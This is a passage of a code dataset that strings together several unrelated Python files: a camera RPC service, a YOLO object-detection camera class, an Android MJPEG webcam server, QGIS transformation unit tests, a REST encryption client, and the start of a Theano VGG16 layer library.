Value\n cam_lock = multiprocessing.Lock()\n capture_event = mp_manager.Event()\n recent_error = mp_manager.Value(\"recent_error\", \"\")\n frames_captured = mp_manager.Value('frames_captured', 0)\n count = mp_manager.Value('count', 0)\n interval = mp_manager.Value('interval', 0)\n die = mp_manager.Value('die', False)\n\n # Setup pool, initialize shared objects and start the process\n logger.info(\"Starting camera capture process ... \")\n _initialize(cam_lock, capture_event, frames_captured,\n count, recent_error, interval, die)\n process = multiprocessing.Process(target=_capture, args=(south_cam,))\n process.start()\n # graceful exit (for SIGINT & SIGQUIT)\n atexit.register(killChildProc, process, die)\n\n # RPC connection setup\n logger.info(\"Setting up RPC connection\")\n credentials = pika.PlainCredentials(os.getenv(\"rpc_user\"), os.getenv(\"rpc_pass\"))\n connection = pika.BlockingConnection(\n pika.ConnectionParameters(os.getenv(\"rpc_server\"), os.getenv(\"rpc_port\"),\n RPC_VHOST, credentials))\n channel = connection.channel()\n channel.queue_declare(queue=RPC_QUEUE_NAME)\n\n def on_request(ch, method, props, body):\n \"\"\"\n Blocking Function for handling the incoming data\n Refer \"http://pika.readthedocs.io/en/0.11.2/modules/adapters/blocking.html\"\n \"\"\"\n command_dict = json.loads(body)\n logger.debug(\"Correlation id: \" + str(props.correlation_id))\n response = camera_commands(south_cam, cam_lock, capture_event,\n frames_captured, count, recent_error,\n interval, command_dict)\n ch.basic_publish(exchange='',\n routing_key=props.reply_to,\n properties=pika.BasicProperties(correlation_id=props.correlation_id),\n body=str(response))\n ch.basic_ack(delivery_tag=method.delivery_tag)\n\n try:\n channel.basic_qos(prefetch_count=1)\n channel.basic_consume(on_request, queue=RPC_QUEUE_NAME)\n logger.info(\"Listening for RPC messages\")\n channel.start_consuming()\n except KeyboardInterrupt as ki:\n print()\n logger.info(\"Exiting now\")\n except Exception as ex:\n logger.critical(\"Critical Exception in main: \"+str(ex))\n\n","sub_path":"examples/1mtc_south.py","file_name":"1mtc_south.py","file_ext":"py","file_size_in_byte":11723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"136211747","text":"import cv2\nimport numpy as np\n\n\nclass Camera:\n\n def __init__(self, cap, args):\n self.cap = cap\n self.args = args\n self.model, self.classes, self.colors, self.output_layers = self.load_yolo()\n # defining face detector\n # self.face_cascade = cv2.CascadeClassifier(\"./haarcascades/haarcascade_frontalface_alt2.xml\")\n frame_count = int(self.cap.get(cv2.CAP_PROP_FRAME_COUNT))\n height = int(self.cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n if self.args.verbose:\n print('Frame count:', frame_count)\n print('Frame width:', height)\n print('Frame height:', int(self.cap.get(cv2.CAP_PROP_FRAME_HEIGHT)))\n print('Frame rate:', self.cap.get(cv2.CAP_PROP_FPS))\n print(\"Scale: \" + str(self.args.scale))\n\n if int(self.args.scale) == 100 and height != 0:\n self.args.scale = int(int(self.args.max_height) / height * 100)\n if self.args.verbose:\n print(\"Scale: \" + str(self.args.scale))\n\n def __del__(self):\n # releasing camera\n self.cap.release()\n\n # Load yolo\n def load_yolo(self):\n net = cv2.dnn.readNet(self.args.weights, self.args.config)\n classes = []\n with open(\"coco.names\", \"r\") as f:\n classes = [line.strip() for line in f.readlines()]\n\n layers_names = net.getLayerNames()\n output_layers = [layers_names[i[0] - 1] for i in net.getUnconnectedOutLayers()]\n # colors = np.random.uniform(0, 255, size=(len(classes), 3))\n colors = np.random.uniform(0, 255, size=(len(classes), 3))\n return net, classes, colors, output_layers\n\n def detect_objects(self, img, net, output_layers):\n blob = cv2.dnn.blobFromImage(img, scalefactor=0.00392, size=(320, 320), mean=(0, 0, 0), swapRB=True, crop=False)\n net.setInput(blob)\n self.forward = net.forward(output_layers)\n outputs = self.forward\n return blob, outputs\n\n def get_box_dimensions(self, outputs, height, width):\n boxes = []\n confs = []\n class_ids = []\n for output in outputs:\n for detect in output:\n scores = detect[5:]\n class_id = np.argmax(scores)\n conf = scores[class_id]\n if conf > float(self.args.confidence):\n center_x = int(detect[0] * width)\n center_y = int(detect[1] * height)\n w = int(detect[2] * width)\n h = int(detect[3] * height)\n x = int(center_x - w / 2)\n y = int(center_y - h / 2)\n boxes.append([x, y, w, h])\n confs.append(float(conf))\n class_ids.append(class_id)\n return boxes, confs, class_ids\n\n def rescale_frame(self, frame, percent=75):\n width = int(frame.shape[1] * percent / 100)\n height = int(frame.shape[0] * percent / 100)\n dim = (width, height)\n return cv2.resize(frame, dim, interpolation=cv2.INTER_AREA)\n\n def draw_labels(self, boxes, confs, colors, class_ids, classes, img):\n indexes = cv2.dnn.NMSBoxes(boxes, confs, 0.5, 0.4)\n font = cv2.FONT_HERSHEY_DUPLEX\n # override color\n color = (0, 255, 0)\n for i in range(len(boxes)):\n if i in indexes:\n x, y, w, h = boxes[i]\n label = str(classes[class_ids[i]])\n # color = colors[i]\n cv2.rectangle(img, (x, y), (x + w, y + h), color, 2)\n cv2.putText(img, label, (x, y - 5), font, 1, color, 2)\n cv2.putText(img, \"w: \" + str(w), (x, y + h + 35), font, 1, color, 2)\n cv2.putText(img, \"h: \" + str(h), (x, y + h + 70), font, 1, color, 2)\n img = self.rescale_frame(img, percent=int(self.args.scale))\n return img\n\n # cap.set(cv2.CAP_PROP_POS_FRAMES, 100)\n def get_frame(self):\n _, frame = self.cap.read()\n height, width, channels = frame.shape\n blob, outputs = self.detect_objects(frame, self.model, self.output_layers)\n boxes, confs, class_ids = self.get_box_dimensions(outputs, height, width)\n img = self.draw_labels(boxes, confs, self.colors, class_ids, self.classes, frame)\n ret, jpeg = cv2.imencode('.jpg', img)\n return jpeg.tobytes()\n\n # for later use\n # def get_image(self):\n # # extracting frames\n # ret, frame = self.video.read()\n # frame = cv2.resize(frame, None, fx=int(self.args.scale/100), fy=int(self.args.scale/100),\n # interpolation=cv2.INTER_AREA)\n # gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n # face_rects = face_cascade.detectMultiScale(gray, 1.3, 5)\n # for (x, y, w, h) in face_rects:\n # cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\n # break # encode OpenCV raw frame to jpg and displaying it\n # ret, jpeg = cv2.imencode('.jpg', frame)\n # return jpeg.tobytes()\n","sub_path":"video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":5022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"133116543","text":"#-*-coding:utf8;-*-\r\n#qpy:3\r\n#qpy:console\r\n\r\nimport androidhelper as android\r\nimport os\r\nimport time\r\n#import BaseHTTPServer\r\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\r\n#from SocketServer import ThreadingMixIn\r\nfrom socketserver import ThreadingMixIn \r\nHOST_NAME = ''\r\nPORT_NAME = 8080\r\n \r\nPAGE_SOURCE = '''\r\n<html>\r\n<head>\r\n<title>MJPEG\r\n\r\n\r\n

Camera

\r\n\r\n\r\n\r\n'''\r\n \r\nclass ThreadServer(ThreadingMixIn, HTTPServer):\r\n pass\r\n \r\nclass StreamerHandler(BaseHTTPRequestHandler):#BaseHTTPServer.BaseHTTPRequestHandler):\r\n def do_GET(self):\r\n if (self.path == '/' or not self.path):\r\n self.send_response(200)\r\n self.send_header('Content-Type', 'text/html')\r\n self.end_headers()\r\n self.wfile.write(PAGE_SOURCE.encode())\r\n \r\n elif (self.path == '/stream'):\r\n self.send_response(200)\r\n self.send_header('Connection', 'close')\r\n self.send_header('Expires', '0')\r\n self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0')\r\n self.send_header('Content-Type', 'multipart/x-mixed-replace; boundary=BOUNDARYSTRING')\r\n self.end_headers()\r\n \r\n while True:\r\n image = get_image()\r\n self.send_header('Content-Type', 'image/jpeg')\r\n self.send_header('Content-Length', str(len(image)))\r\n self.end_headers()\r\n self.wfile.write(image)\r\n self.wfile.write(\"\\r\\n--BOUNDARYSTRING\\r\\n\".encode())\r\n time.sleep(5)\r\n \r\ndef get_image():\r\n android.Android().cameraCapturePicture('/storage/emulated/0/sl4a/latest.jpg', True)\r\n f = open('/storage/emulated/0/sl4a/latest.jpg',\"rb\")#encoding=\"utf-8\")\r\n image = f.read()\r\n f.close()\r\n os.remove('/storage/emulated/0/sl4a/latest.jpg')\r\n return image\r\n \r\nif __name__ == '__main__':\r\n server = ThreadServer((HOST_NAME, PORT_NAME), StreamerHandler)\r\n server.serve_forever()\r\n","sub_path":"storage/emulated/0/qpython/scripts3/webcam3.py","file_name":"webcam3.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"51797237","text":"\n\nfrom xai.brain.wordbase.nouns._wadi import _WADI\n\n#calss header\nclass _WADIS(_WADI, ):\n\tdef __init__(self,): \n\t\t_WADI.__init__(self)\n\t\tself.name = \"WADIS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"wadi\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_wadis.py","file_name":"_wadis.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"496113122","text":"# -*- coding: utf-8 -*-\n\"\"\"\n/***************************************************************************\n Svir\n A QGIS plugin\n OpenQuake Social Vulnerability and Integrated Risk\n -------------------\n begin : 2013-10-24\n copyright : (C) 2013 by GEM Foundation\n email : devops@openquake.org\n ***************************************************************************/\n\n# Copyright (c) 2013-2014, GEM Foundation.\n#\n# OpenQuake is free software: you can redistribute it and/or modify it\n# under the terms of the GNU Affero General Public License as published\n# by the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# OpenQuake is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with OpenQuake. If not, see .\n\"\"\"\nimport qgis\n# ugly way to avoid \"imported but unused\" pep8 warning (qgis is necessary to\n# import QPyNullVariant\nif qgis:\n pass\nfrom PyQt4.QtCore import QPyNullVariant\nfrom svir.transformation_algs import transform, TRANSFORMATION_ALGS\nimport unittest\n\n\nclass MissingValuesTestCase(unittest.TestCase):\n\n def test_transform_with_missing_values(self):\n # when retrieving data through the platform, the SQL query produces\n # NULL in case of missing values, where the type of those NULL elements\n # is QPyNullVariant\n # Here we test that case and the case of simple None elements\n null_values = (QPyNullVariant(float), None)\n for null_value in null_values:\n features_dict = {'0': 7,\n '1': 6,\n '2': null_value,\n '3': 0,\n '4': null_value,\n '5': 6}\n expected_dict = {'0': 4,\n '1': 2.5,\n '2': null_value,\n '3': 1,\n '4': null_value,\n '5': 2.5}\n alg = TRANSFORMATION_ALGS['RANK']\n variant = \"AVERAGE\"\n transformed_dict = transform(features_dict, alg, variant)\n self.assertEqual(transformed_dict, expected_dict)\n\n\nclass RankTestCase(unittest.TestCase):\n\n def setUp(self):\n self.alg = TRANSFORMATION_ALGS[\"RANK\"]\n self.input_list = [2, 0, 2, 1, 2, 3, 2]\n\n def test_rank_direct_average(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"AVERAGE\", inverse=False)\n self.assertEqual(rank_list, [4.5, 1, 4.5, 2, 4.5, 7, 4.5])\n\n def test_rank_direct_min(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"MIN\", inverse=False)\n self.assertEqual(rank_list, [3, 1, 3, 2, 3, 7, 3])\n\n def test_rank_direct_max(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"MAX\", inverse=False)\n self.assertEqual(rank_list, [6, 1, 6, 2, 6, 7, 6])\n\n def test_rank_direct_dense(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"DENSE\", inverse=False)\n self.assertEqual(rank_list, [3, 1, 3, 2, 3, 4, 3])\n\n def test_rank_direct_ordinal(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"ORDINAL\", inverse=False)\n self.assertEqual(rank_list, [3, 1, 4, 2, 5, 7, 6])\n\n def test_rank_inverse_average(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"AVERAGE\", inverse=True)\n self.assertEqual(rank_list, [3.5, 7, 3.5, 6, 3.5, 1, 3.5])\n\n def test_rank_inverse_min(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"MIN\", inverse=True)\n self.assertEqual(rank_list, [2, 7, 2, 6, 2, 1, 2])\n\n def test_rank_inverse_max(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"MAX\", inverse=True)\n self.assertEqual(rank_list, [5, 7, 5, 6, 5, 1, 5])\n\n def test_rank_inverse_dense(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"DENSE\", inverse=True)\n self.assertEqual(rank_list, [2, 4, 2, 3, 2, 1, 2])\n\n def test_rank_inverse_ordinal(self):\n rank_list = self.alg(\n self.input_list, variant_name=\"ORDINAL\", inverse=True)\n self.assertEqual(rank_list, [2, 7, 3, 6, 4, 1, 5])\n\n\nclass MinMaxTestCase(unittest.TestCase):\n\n def setUp(self):\n self.alg = TRANSFORMATION_ALGS[\"MIN_MAX\"]\n self.input_list = [2, 0, 2, 1, 2, 3, 2]\n\n def test_min_max_direct(self):\n min_max_list = self.alg(self.input_list, inverse=False)\n self.assertEqual(min_max_list, [0.6666666666666666,\n 0.0,\n 0.6666666666666666,\n 0.3333333333333333,\n 0.6666666666666666,\n 1.0,\n 0.6666666666666666])\n\n def test_min_max_inverse(self):\n min_max_list = self.alg(self.input_list, inverse=True)\n self.assertEqual(min_max_list, [0.33333333333333337,\n 1.0,\n 0.33333333333333337,\n 0.6666666666666667,\n 0.33333333333333337,\n 0.0,\n 0.33333333333333337])\n\n\nclass ZScoreTestCase(unittest.TestCase):\n\n def setUp(self):\n self.alg = TRANSFORMATION_ALGS[\"Z_SCORE\"]\n self.input_list = [2, 0, 2, 1, 2, 3, 2]\n\n def test_z_score_direct(self):\n z_score_list = self.alg(self.input_list, inverse=False)\n expected_list = [0.3244428422615252,\n -1.9466570535691505,\n 0.3244428422615252,\n -0.81110710565381261,\n 0.3244428422615252,\n 1.459992790176863,\n 0.3244428422615252]\n for i in range(len(self.input_list)):\n self.assertAlmostEqual(z_score_list[i], expected_list[i], places=6)\n\n def test_z_score_inverse(self):\n z_score_list = self.alg(self.input_list, inverse=True)\n expected_list = [-4.2177569493998259,\n -1.9466570535691505,\n -4.2177569493998259,\n -3.0822070014844885,\n -4.2177569493998259,\n -5.3533068973151643,\n -4.2177569493998259]\n for i in range(len(self.input_list)):\n self.assertAlmostEqual(z_score_list[i], expected_list[i], places=6)\n\n\nclass Log10TestCase(unittest.TestCase):\n\n def setUp(self):\n self.alg = TRANSFORMATION_ALGS[\"LOG10\"]\n\n def test_log10_all_positive_values(self):\n input_list = [101249,\n 94082,\n 94062,\n 158661,\n 174568]\n log10_list = self.alg(input_list)\n expected_list = [5.005391,\n 4.973507,\n 4.973414,\n 5.200470,\n 5.241965]\n for i in range(len(input_list)):\n self.assertAlmostEqual(log10_list[i], expected_list[i], places=6)\n\n def test_log10_with_negative_values(self):\n input_list = [101249,\n 94082,\n -94062,\n -158661,\n 174568]\n self.assertRaises(ValueError, self.alg, input_list)\n\n def test_log10_incrementing_by_one_case_no_zeros_found(self):\n input_list = [101249,\n 94082,\n 94062,\n 158661,\n 174568]\n log10_list = self.alg(\n input_list, variant_name='INCREMENT BY ONE IF ZEROS ARE FOUND')\n expected_list = [5.005391,\n 4.973507,\n 4.973414,\n 5.200470,\n 5.241965]\n for i in range(len(input_list)):\n self.assertAlmostEqual(log10_list[i], expected_list[i], places=6)\n\n def test_log10_incrementing_by_one_case_zeros_found(self):\n input_list = [101249,\n 94082,\n 0,\n 0,\n 174568]\n log10_list = self.alg(\n input_list, variant_name='INCREMENT BY ONE IF ZEROS ARE FOUND')\n expected_list = [5.005395,\n 4.973511,\n 0,\n 0,\n 5.241967]\n for i in range(len(input_list)):\n self.assertAlmostEqual(log10_list[i], expected_list[i], places=6)\n\n def test_log10_with_zeros_unchanged(self):\n input_list = [101249,\n 94082,\n 0,\n 0,\n 174568]\n log10_list = self.alg(\n input_list, variant_name='IGNORE ZEROS')\n expected_list = [5.005391,\n 4.973507,\n QPyNullVariant(float),\n QPyNullVariant(float),\n 5.241965]\n for i in range(len(input_list)):\n self.assertAlmostEqual(log10_list[i], expected_list[i], places=6)\n\n\nclass QuadraticTestCase(unittest.TestCase):\n\n def setUp(self):\n self.alg = TRANSFORMATION_ALGS[\"QUADRATIC\"]\n self.input_list = [80089,\n 83696,\n 249586,\n 121421,\n 120813]\n\n def test_quadratic_direct_increasing(self):\n quadratic_list = self.alg(\n self.input_list, variant_name=\"INCREASING\", inverse=False)\n expected_list = [0.102969,\n 0.112452,\n 1.000000,\n 0.236672,\n 0.234308]\n for i in range(len(self.input_list)):\n self.assertAlmostEqual(\n quadratic_list[i], expected_list[i], places=4)\n\n def test_quadratic_direct_decreasing(self):\n quadratic_list = self.alg(\n self.input_list, variant_name=\"DECREASING\", inverse=False)\n expected_list = [0.461194,\n 0.441774,\n 0.000000,\n 0.263693,\n 0.266201]\n for i in range(len(self.input_list)):\n self.assertAlmostEqual(\n quadratic_list[i], expected_list[i], places=4)\n\n def test_quadratic_inverse_increasing(self):\n quadratic_list = self.alg(\n self.input_list, variant_name=\"INCREASING\", inverse=True)\n expected_list = [0.897032,\n 0.887548,\n 0.000000,\n 0.763328,\n 0.765692]\n for i in range(len(self.input_list)):\n self.assertAlmostEqual(\n quadratic_list[i], expected_list[i], places=4)\n\n def test_quadratic_inverse_decreasing(self):\n quadratic_list = self.alg(\n self.input_list, variant_name=\"DECREASING\", inverse=True)\n expected_list = [0.538806,\n 0.558266,\n 1.000000,\n 0.736307,\n 0.733799]\n for i in range(len(self.input_list)):\n self.assertAlmostEqual(\n quadratic_list[i], expected_list[i], places=4)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"svir/test/test_transformations.py","file_name":"test_transformations.py","file_ext":"py","file_size_in_byte":12030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"316682025","text":"import requests\nimport json\n\ndef encrypt( url, enc_data):\n headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}\n r = requests.post(url, data=json.dumps(enc_data), headers=headers)\n res_data = json.loads( r.text )\n return res_data['Cipher']\n \ndef decrypt( url, dec_data):\n headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}\n r = requests.post(url, data=json.dumps(dec_data), headers=headers)\n res_data = json.loads( r.text )\n return res_data['Plain']\n\ndef main():\n enc_url = \"http://127.0.0.1:8080/encrypt\"\n dec_url = \"http://127.0.0.1:8080/decrypt\"\n\n enc_data = {'alias': 'normal', 'plain': '1234567890123'}\n cipher_txt = encrypt( enc_url, enc_data)\n print( 'cipher_text : ' + cipher_txt)\n\n dec_data = {'alias': 'normal', 'cipher': cipher_txt }\n plain_text = decrypt( dec_url, dec_data)\n\n print( 'plain_text : ' + plain_text)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Tech/Communication/REST/PyRestSample.py","file_name":"PyRestSample.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"366410257","text":"# VGGNet16.py\r\n\r\n#### Libraries\r\n# Standard Libraries\r\nimport os \r\nimport pickle\r\nfrom PIL import Image\r\nimport shutil\r\n\r\n# Third Party Libraries\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nimport theano\r\nimport theano.tensor as T\r\nfrom theano.tensor.nnet import conv2d\r\nfrom theano.tensor.signal import pool\r\n\r\ndef elu(x, alpha=1.0):\r\n\treturn T.switch(x > 0, x, T.exp(x)-1)\r\n\r\ndef l2_reg(x, lmbd=5e-4):\r\n\t\"\"\"\r\n\tL_2 regularization \r\n\r\n\tParameters\r\n\t----------\r\n\r\n\treturns\r\n\t----------\r\n\t\"\"\"\r\n\r\n\tl2 = 0\r\n\tfor elements in x:\r\n\t\tl2 += T.sum(elements[0]**2)\r\n\r\n\treturn lmbd / 2 * l2 \r\n\r\nclass ConvLayer(object):\r\n\t\"\"\"\r\n\tPerforms a convolution on an input layer.\r\n\r\n\tParameters\r\n\t----------\r\n\t:type input: theano.tensor.dtensor4\r\n\t:param input: symbolic image tensor, of shape image_shape\r\n\r\n\t:type filter_shape: tuple or list of length 4\r\n\t:param filter_shape: (number of filters, num input feature maps,\r\n\t\t\t\t\t\t filter height, filter width)\r\n\r\n\t:type image_shape: tuple or list of length 4\r\n\t:param image_shape: (batch size, num input feature maps, \r\n\t\t\t\t\t\t image height, image width)\r\n\r\n\t:type padding: tuple or list of length 2\r\n\t:param padding: \r\n\r\n\t:type stride: tuple or list of length 2\r\n\t:param stride: \r\n\r\n\t:type activation_fn: theano.Op or function\r\n\t:param activation_fn: Non linearity to be applied in the hidden \r\n\t\t\t\t\t\t layer (sigmoid, tanh, relu, elu)\r\n\r\n\tReferences\r\n\t----------\r\n .. [1] http://deeplearning.net/tutorial/lenet.html\r\n .. [2] http://neuralnetworksanddeeplearning.com/chap6.html\r\n .. [3] http://cs231n.github.io/convolutional-networks/\r\n\t\"\"\"\r\n\r\n\tdef __init__(self, input, filter_shape, image_shape, padding=(0, 0), \r\n\t\t\t\t stride=(1, 1), activation_fn=None, weights=None, bias=None,\r\n\t\t\t\t seed=3235):\r\n\r\n\t\tassert image_shape[1] == filter_shape[1]\r\n\r\n\t\t# rng = np.random.RandomState(seed)\r\n\r\n\t\tself.input = input\r\n\t\tself.filter_shape = filter_shape\r\n\t\tself.image_shape = image_shape\r\n\t\tself.activation_fn = activation_fn\r\n\r\n\t\tif weights is None:\r\n\t\t\tfan_in = np.prod(filter_shape[1:])\r\n\t\t\tW_bound = 2 * np.sqrt(6/fan_in)\r\n\t\t\tw = np.random.uniform(low=-W_bound, high=W_bound, size=filter_shape)\r\n\t\t\tweights = theano.shared(name='weights',\r\n\t\t\t\t\t\t\t\t\tvalue=w.astype(theano.config.floatX),\r\n\t\t\t\t\t\t\t\t\tborrow=True)\r\n\t\telse: \r\n\t\t\tweights = theano.shared(name='weights',\r\n\t\t\t\t\t\t\t\t value=weights,\r\n\t\t\t\t\t\t\t\t borrow=True)\r\n\r\n\t\tif bias is None:\r\n\t\t\tb_vals = np.random.uniform(size=filter_shape[0])\r\n\t\t\tbias = theano.shared(name='bias',\r\n\t\t\t\t\t\t\t\t value=b_vals.astype(theano.config.floatX), \r\n\t\t\t\t\t\t\t\t borrow=True)\r\n\t\telse:\r\n\t\t\tbias = theano.shared(name='bias',\r\n\t\t\t\t\t\t\t\t value=bias,\r\n\t\t\t\t\t\t\t\t borrow=True)\r\n\r\n\t\t# Initiliaze weights with random variables\r\n\t\tself.W = weights\r\n\t\tself.b = bias\r\n\r\n\t\tconv_out = conv2d(input=input, filters=self.W, border_mode=padding,\r\n\t\t\t\t\t\t subsample=stride, filter_shape=filter_shape, \r\n\t\t\t\t\t\t input_shape=image_shape)\r\n\r\n\t\tl_output = conv_out + self.b.dimshuffle(('x', 0, 'x', 'x'))\r\n\t\tself.output = (l_output if activation_fn is None \r\n\t\t\t\t\t else activation_fn(l_output))\r\n\r\n\t\t# Parameters of the model\r\n\t\tself.params = [self.W, self.b]\r\n\r\n\r\nclass BatchNormLayer(object):\r\n\t\"\"\"\r\n\tThis layer implements batch normalization of its inputs. This is \r\n\tperformed by taking the mean and standard deviation across axis 0.\r\n\r\n .. math::\r\n\t y = \\gamma \\frac{x - \\mu}{\\sqrt{\\sigma^2 + \\epsilon}} + \\beta\r\n\r\n\tA remedy to internal covariate shift, the solution is to normalize \r\n\teach batch by both mean and variance by insertin a BatchNorm layer \r\n\timmediately after fully connected layers (or convolutional layers, \r\n\tand before non-linearities.\r\n\r\n\tParameters\r\n\t----------\r\n\t:type input: theano.tensor.dtensor4\r\n\t:param input: symbolic image tensor, of shape image_shape\r\n\r\n\t:type gamma: theano.tensor.dtensor4\r\n\t:param gamma: symbolic image tensor, of shape image_shape\r\n\r\n\t:type beta: theano.tensor.dtensor4\r\n\t:param beta: symbolic image tensor, of shape image_shape\r\n\r\n\t:type activation_fn: theano.Op or function\r\n\t:param activation_fn: Non linearity to be applied in the hidden \r\n\t\t\t\t\t\t layer (sigmoid, tanh, relu, elu)\r\n\r\n\tReferences\r\n\t----------\r\n .. [1] https://arxiv.org/abs/1502.03167\r\n .. [2] https://arxiv.org/abs/1502.03167\r\n\t\"\"\"\r\n\r\n\tdef __init__(self, input, shape, gamma=None, beta=None, epsilon=1e-6,\r\n\t\t\t\t activation_fn=None):\r\n\t\tself.input = input\r\n\t\tself.shape = shape\r\n\r\n\t\trng = np.random.RandomState(45)\r\n\r\n\t\tif gamma is None:\r\n\t\t\tgamma_values = rng.uniform(low=-1.0, high=1.0, size=shape)\\\r\n\t\t\t\t\t\t\t.astype(theano.config.floatX)\r\n\t\t\tgamma = theano.shared(name='gamma', value=gamma_values, \r\n\t\t\t\t\t\t\t\t borrow=True)\r\n\r\n\t\tif beta is None:\r\n\t\t\tbeta_values = np.zeros(shape=shape, dtype=theano.config.floatX)\\\r\n\t\t\t\t\t\t\t.astype(theano.config.floatX)\r\n\t\t\tbeta = theano.shared(name='beta', value=beta_values, borrow=True)\r\n\r\n\t\tself.gamma = gamma\r\n\t\tself.beta = beta\r\n\r\n\t\tself.mean = T.mean(input, axis=0)\r\n\t\tself.std = T.std(input + epsilon, axis=0) \r\n\r\n\t\tl_output = T.nnet.bn.batch_normalization(input, self.gamma, self.beta, \r\n\t\t\t\t\t\t\t\t\t\t\t\t self.mean, self.std)\r\n\r\n\t\tself.output = (l_output if activation_fn is None \r\n\t\t\t\t\t else activation_fn(l_output))\r\n\r\n\t\tself.params = [self.gamma, self.beta]\r\n\r\n\r\nclass PoolingLayer(object):\r\n\t\"\"\"\r\n\tPerforms a pooling operation, a form of non-linear down-sampling. \r\n\tThe pooling operation partitions the input image into a set of \r\n\tnon-overlapping rectangles and, for each such sub-region outputs \r\n\tthe corresponding value.\r\n\r\n\tParameters\r\n\t----------\r\n\t:type input: theano.tensor.dtensor4\r\n\t:param input: symbolic image tensor, of shape image_shape\r\n\r\n\t:type pool_shape: tuple or list of length 2\r\n\t:param pool_shape: the downsampling (pooling) factor (#rows, #cols)\r\n\r\n\t:type ignore_border: bool (1-Default)\r\n\t:param ignore_border: inlcude border in computation of pooling\r\n\t\r\n\tReferences\r\n\t----------\r\n .. [1] http://deeplearning.net/tutorial/lenet.html\r\n .. [2] http://neuralnetworksanddeeplearning.com/chap6.html\r\n .. [3] http://cs231n.github.io/convolutional-networks/\r\n\t\"\"\"\r\n\r\n\tdef __init__(self, input, pool_shape=(2, 2), ignore_border=True,\r\n\t\t\t\t activation_fn=None):\r\n\t\tself.input = input\r\n\t\tself.pool_shape = pool_shape\r\n\t\tself.ignore_border = ignore_border\r\n\r\n\t\tl_output = pool.pool_2d(input=input, ds=pool_shape, \r\n\t\t\t\t\t\t\t\tignore_border=ignore_border)\r\n\r\n\t\tself.output = (l_output if activation_fn is None \r\n\t\t\t \t\t else activation_fn(l_output))\r\n\r\n\r\nclass FC(object):\r\n\t\"\"\"\r\n\tTypical hidden layer of a MLP: units are fully-connected and have\r\n\tsigmoidal activation function. Weight matrix W is of shape \r\n\t(n_in, n_out) and the bias vector b is of shape (n_out,).\r\n\r\n\tHidden unit activation is given by: \r\n\t\tactivation_fn(dot(W, input.T) + b)\r\n\r\n\tParameters\r\n\t----------\r\n\t:type rng: numpy.random.RandomState\r\n\t:param rng: a random number generator used to initialize weights\r\n\r\n\t:type input: theano.tensor.dmatrix\r\n\t:param input: a symbolic tensor of shape (n_examples, n_in)\r\n\r\n\t:type n_in: int\r\n\t:param n_in: dimensionality of input\r\n\r\n\t:type n_out: int\r\n\t:param n_out: number of hidden units\r\n\r\n\t:type activation: theano.Op or function\r\n\t:param activation: Non linearity to be applied in the hidden\r\n\t layer (sigmoid, tanh, relu, elu)\r\n\r\n\tReferences\r\n\t----------\r\n .. [1] http://deeplearning.net/tutorial/mlp.html\r\n .. [2] http://neuralnetworksanddeeplearning.com/chap6.html\r\n .. [3] http://cs231n.github.io/convolutional-networks/\r\n\t\"\"\"\r\n\r\n\tdef __init__(self, input, n_in, n_out, weights=None, bias=None, seed=35,\r\n\t \t activation_fn=None):\r\n\r\n\t\t# rng = np.random.RandomState(seed)\r\n\r\n\t\tself.input = input\r\n\r\n\t\tif weights is None:\r\n\t\t\tW_values = np.random.uniform(low=-np.sqrt(6./(n_in+n_out)),\r\n\t\t\t\t\t\t\t\t high=np.sqrt(6./(n_in+n_out)),\r\n\t\t\t\t\t\t\t\t size=(n_out, n_in)).astype(theano.config.floatX)\r\n\r\n\t\t\tif activation_fn == theano.tensor.nnet.sigmoid:\r\n\t\t\t\tW_values *= 4\r\n\r\n\t\t\tW = theano.shared(name='Weights', value=W_values, borrow=True)\r\n\t\telse:\r\n\t\t\tW = theano.shared(name='Weights', value=weights, borrow=True)\r\n\r\n\r\n\t\tif bias is None:\r\n\t\t\tb_values = np.zeros(n_out, dtype=theano.config.floatX)\r\n\t\t\tb = theano.shared(name='bias', value=b_values, borrow=True)\r\n\t\telse: \r\n\t\t\tb = theano.shared(name='bias', value=bias, borrow=True)\r\n\r\n\t\tself.W = W\r\n\t\tself.b = b\r\n\r\n\t\tl_output = (T.dot(self.W, input.T)).T + self.b\r\n\t\tself.output = (l_output if activation_fn is None \r\n\t\t\t\t\t else activation_fn(l_output))\r\n\r\n\t\t# Parameters of the fully connected layer\r\n\t\tself.params = [self.W, 